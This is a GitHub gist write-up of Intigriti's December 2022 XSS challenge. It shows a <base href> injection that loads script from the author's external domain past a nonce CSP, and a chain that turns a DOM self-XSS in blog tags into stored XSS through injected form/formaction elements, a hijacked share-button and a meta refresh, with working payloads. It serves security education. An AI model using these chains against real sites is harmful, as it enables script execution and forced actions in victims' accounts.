Skip to content

Instantly share code, notes, and snippets.

@farisv
Last active January 16, 2023 17:33
Show Gist options
  • Save farisv/81ee999b8bbe579b5648330916752f6f to your computer and use it in GitHub Desktop.
Save farisv/81ee999b8bbe579b5648330916752f6f to your computer and use it in GitHub Desktop.
Writeup for Intigriti's Challenge 1222

Intigriti's Challenge 1222 (December 2022)

URL: https://challenge-1222.intigriti.io/

Given a web application where users can register, login, create a blog post, and visit other users' blog posts. The criteria of the expected solutions are:

  • Should work on the latest version of Chrome and FireFox.
  • Should execute alert showing the victim's/another user's username..
  • Should leverage a cross site scripting vulnerability on this domain.
  • Shouldn't be self-XSS or related to MiTM attacks.
  • Should NOT use another challenge on the intigriti.io domain.

Observations

  • Any registered user has one blog post that can be edited via https://challenge-1222.intigriti.io/edit.
  • Anyone can visit the blog post of a user via https://challenge-1222.intigriti.io/blog/[User-ID].
  • User can use HTML in the blog post but there is a DOM sanitization/purification.
  • User can set the tags for the blog post.
  • User can also write a comment or share the blog post link to Twitter.
  • There is a CSP with nonce via HTTP header (content-security-policy: default-src 'self'; script-src 'self' 'nonce-[NONCE]' 'strict-dynamic'; img-src * data:;)

Solution 1 (Unintended)

A simple unintended solution is using <base> HTML element becuase it's not sanitized and not governed by CSP. There is also a relative script path load in the https://challenge-1222.intigriti.io/blog/[User-ID].

    </div>

    <script nonce='[NONCE]' src="/static/js/bootstrap.bundle.min.js"></script>
  </body>
</html>

As explained on MDN Web Docs [1], The <base> HTML element specifies the base URL to use for all relative URLs in a document. If we can control the base URL, we can make the relative URL points to our own domain. The <script> above loads relative URL /static/js/bootstrap.bundle.min.js with nonce so we don't need to think about CSP bypass anymore.

Proof of Concept

Prepare our own script file hosted in our own domain (e.g., https://inti.hackthesystem.pro/static/js/bootstrap.bundle.min.js). Note that we need to use https to avoid mixed content.

Since we need to show the victim's/another user's username, we can get the username from the HTML body.

const username = document.body.innerText.split('\n')[0].split('-')[1].trim();
alert(username);

Edit the blog post with the following HTML.

<base href="https://inti.hackthesystem.pro/">

When a user visits the post, the JavaScript in https://inti.hackthesystem.pro/static/js/bootstrap.bundle.min.js will be executed.

Example: https://challenge-1222.intigriti.io/blog/a7b4603d-56cc-404f-bf85-658412d6772c

Solution 2

This solution is more likely to be intended or expected by the challenge's creator.

There is a straighforward DOM self-XSS in the /edit page.

    function update_tags(tags_input) {
        let tags = tags_input.value.split(',');
        let tags_output = document.querySelector("#tags-output");
        tags_output.innerHTML = "";
        tags = tags.filter(i => i.trim());
        ...
        tags.forEach(element => {
            element = element.trim();
            let div = document.createElement("div");
            div.classList.add("col-2", "m-1", "border", "rounded", "bg-info");
            div.id = element;            
            let s = document.createElement("script");
            s.innerText = `document.querySelector("#${element}").addEventListener("click", () => remove_tag("${element}"))`;
            div.innerHTML = element;
            tags_output.appendChild(div);
            tags_output.appendChild(s);
        });
    }
    
    ...

    let form_element = document.querySelector("form");
    let tags_input = form_element.children[form_element.childElementCount - 2];

    ...

    document.addEventListener("DOMContentLoaded", function(){
        tags_input.value = tags_input.value.replace(" ", "");
        update_tags(tags_input);        
    });

The content from the tags will be rendered client-side via the update_tags function. Basically, tags are separated with comma and every tag will be rendered separately. There is a dynamic script injection via DOM using the following value document.querySelector("#${element}").addEventListener("click", () => remove_tag("${element}")). The element value itself is the tag value that can be controlled by user. The only caveat here is tag cannot contain space because of tags_input.value.replace(" ", "");.

User can inject arbitrary script via the tag to construct a valid dynamic script during tag rendering. We can use a");alert(1);// as the tag to see the alert is executed. If the user save the post, then everytime the user visits the /edit page, the XSS will be executed.

To enfore another user to save the malicious tag for their own post, we can leverage HTML injection that will perform request forgery in the https://challenge-1222.intigriti.io/blog/[User-ID] page.

Notice the following code in the blog page.

  document.addEventListener("DOMContentLoaded", function(){
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const share = urlParams.get('share')
    if (share != null) {
        let share_button = document.querySelector("#share-button");
        share_button.click()
    }

    ...
  });

If we can inject a form with a button with ID share-button, the form will be automatically submitted (via share_button.click()) if the user visits the blog post link appended with ?share. This piece of code is intended to be executed to select and click the original share-button element automatically (for Twitter share functionality). Because the position of original share-button element is after the rendered blog post, the injected share-button in the blog post will be selected by document.querySelector("#share-button") instead of the original one.

We can craft a form that will send POST data to /edit with the expected value (content and tags) and insert malicious tag. The problem of this approach is we need a correct CSRF token to perform successful POST request.

Observe the following HTML code in the blog page.

    <form action="/comment/35c53e01-4943-4551-a525-351e3c82e050" id="comment-form" method="POST">
      <input type="hidden" name="csrf_token" value="IjY2ODBmZjZiYWEzZWVlMWM2OTMzYzlkNjc5NGJjZTQ1ZWUwMDE5ODEi.Y7Ggnw.euPYUdgZ5uQIOVA_LVYgchHYu4s"/>

      <div class="row pb-2 gy-4 g-3">
        <label for="commentator-name" class="col col-form-label">Write a comment:</label>
        <div class="col">
          <input type="text" class="form-control" id="commentator-name" placeholder="Your Name" name="name">
        </div>
        <div class="col d-grid p-0">
          <input type="submit" class="btn btn-primary text-light" form="comment-form" value="Post"></input>
        </div>
      </div>
      <div class="row gy-4 g-3">
        <textarea class="form-control" id="commentator-text" rows="3" name="text">...</textarea>
      </div>
    </form>    

In HTML, there is a way to embed a form element that is tied with another existing form using form attribute [2]. For example, if we create a <button form='comment-form'> element, it will submit the form with ID comment-form even though the button is placed outside the form area. Any existing value that is already included in the form will also be submitted, which is a CSRF token in this case.

The last part is to change the target of the form submission. In <button> and <input> element, there is an attribute called formaction [3] that can override the action attribute of the button's form owner.

Fortunately (or unfortunately for the website's developer) the <button>, <input>, and <textarea> elements are not sanitized so we can craft the request forgery exploit with those elements. Note that this is (arguably) not a CSRF because the request happens on the same site.

Proof of Concept

Example of HTML exploit to trigger a request to save malicious tags containing XSS payload to display victim's username.

<textarea form=comment-form name=tags>
a");alert(document.body.innerText.split('\n')[0].split('-')[1]).trim();//
</textarea>
<textarea form=comment-form name=content>
test
</textarea>
<input type=submit form=comment-form value=:) id=share-button formaction="/edit">

When a victim visits the blog post link (appended with ?share query string), it will automatically save the malicious tag for their own post. Then, when the victim visits the /edit, the XSS will be triggered.

To make the XSS even smoother, we can use meta refresh for instent client redirect [4] so the victim will be automatically redirected to /edit again after saving the post.

<textarea form=comment-form name=tags>
a");alert(document.body.innerText.split('\n')[0].split('-')[1]).trim();//
</textarea>
<textarea form=comment-form name=content>
<meta http-equiv=refresh content="0;URL='/edit'" />    
</textarea>
<input type=submit form=comment-form value=:) id=share-button formaction="/edit">

Example: https://challenge-1222.intigriti.io/blog/7de51bbf-c4b4-42b3-ad30-53e03e1a9c80?share

Lessons Learned

  • If you can find a self-XSS, try to find a way to make it a real/harmful XSS.
  • Sanitized HTML also could cause unexpected behavior, a redirection alone via <meta> is already dangerous.
  • Read the web documentations to find uncommon element or attributes (e.g., form and formaction attributes) that may assist us in the exploitation.
  • Always observe the flow of client-side JavaScript execution to see if we can find DOM XSS or anything that can help us achieving XSS such as a request forgery.
  • If you are a developer and needs to allow user to use markup language for formatting, use proper DOM sanitization that only allow standard formatting like <b>, <a>, and <p> or use a safe Markdown library.

Reference

  1. https://developer.mozilla.org/en-US/docs/Web/HTML/Element/base
  2. https://developer.mozilla.org/en-US/docs/Web/HTML/Element/button#attr-form
  3. https://developer.mozilla.org/en-US/docs/Web/HTML/Element/button#attr-formaction
  4. https://www.w3.org/TR/WCAG20-TECHS/H76.html
@h43z
Copy link

h43z commented Jan 3, 2023

Nice trick with the meta refresh! I forgot that one.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment